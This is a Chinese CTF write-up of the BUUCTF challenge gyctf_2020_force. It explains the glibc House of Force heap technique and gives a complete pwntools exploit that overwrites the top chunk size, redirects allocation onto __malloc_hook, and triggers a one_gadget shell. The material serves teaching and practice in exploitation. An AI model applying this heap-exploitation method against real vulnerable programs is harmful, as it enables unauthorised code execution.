BUUCTF【gyctf_2020_force】(house of force)

一道题学习 House of force

首先说明一下House of force的利用条件:

1.能够通过堆溢出等方法控制到topchunk的size

2.分配的大小没有限制,即可以申请任意大小的堆块

3.能够泄露出堆地址(topchunk)

House of force 产生的原因: 在于 glibc 对 top chunk 的处理,进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。若 top chunk 的 size 值是由用户控制的任意的值且很大时 (如0xffffffffffffffff),可以使得 top chunk 指向我们期望的任何位置,这就相当于一次任意地址写.

我们通过buu的一道例题来学习一下house of force.

例行检查:在这里插入图片描述64位程序,保护机制全开

IDA分析:
在这里插入图片描述

add()函数中没有对申请的大小进行判断,符合了第二个条件,注意到输入内容时,不管申请多大的堆块,我们都只能写入0x50大小的内容,此时我们申请小于0x50的堆,就可以导致溢出,满足第一个条件,可以看到程序把我们申请的堆地址给打印出来了,就可以算出topchunk地址,满足第三个条件。

利用思路:

1.申请一个很大的堆块,系统会调用libc下方的mmap分配,此时通过具体的偏移算出libc地址

2.通过溢出覆盖topchunk的size为0xffffffffffffffff,在通过算出topchunk和malloc_hook的偏移,劫持malloc为one_gadget,

3.申请触发one_gadget

exp:

from pwn import *

elf = ELF('./gyctf_2020_force')
io = remote('node4.buuoj.cn',27332)
#io = process('./gyctf_2020_force')
#libc = elf.libc
libc = ELF('./libc-2.23.so')
context(log_level='debug')

def choice(c):
	io.recvuntil('2:puts\n')
	io.sendline(str(c))

def add(size,content):
	choice(1)
	io.recvuntil('size\n')
	io.sendline(str(size))
	io.recvuntil('t\n')
	io.sendline(content)
#泄露libc
choice(1)
io.recvuntil('size\n')
io.sendline(str(0x200000))#申请一个很大的堆块,调用mmap分配

io.recvuntil('0x')
leak = int(io.recv(12),16)
success(hex(leak))
libc_base = leak+0x200ff0
success(hex(libc_base))
io.recvuntil('t\n')
io.sendline('AA')
#泄露堆地址
choice(1)
io.recvuntil('size\n')
io.sendline(str(0x18))
io.recvuntil('0x')
leak1 = int(io.recv(12),16)
success(hex(leak1))
heap_base = leak1-0x10
success(hex(heap_base))
io.recvuntil('t\n')
io.sendline('A'*0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF))

top_chunk = heap_base + 0x20
success(hex(top_chunk))

malloc_hook = libc_base + libc.sym['__malloc_hook']
success(hex(malloc_hook))
offset = malloc_hook - top_chunk
success(hex(offset))
one = [0x45216,0x4526a,0xf02a4,0xf1147]
add(offset-0x33,'A'*3)
one_gadget = libc_base + one[1]
success(hex(one_gadget))
realloc = libc_base + libc.sym['realloc']
success(hex(realloc))

add(0x20,'A'*0x8 + p64(one_gadget) + p64(realloc+0x10))

choice(1)
io.recvuntil('size\n')
io.sendline(str(0x18))

#gdb.attach(io)

io.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leee333

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值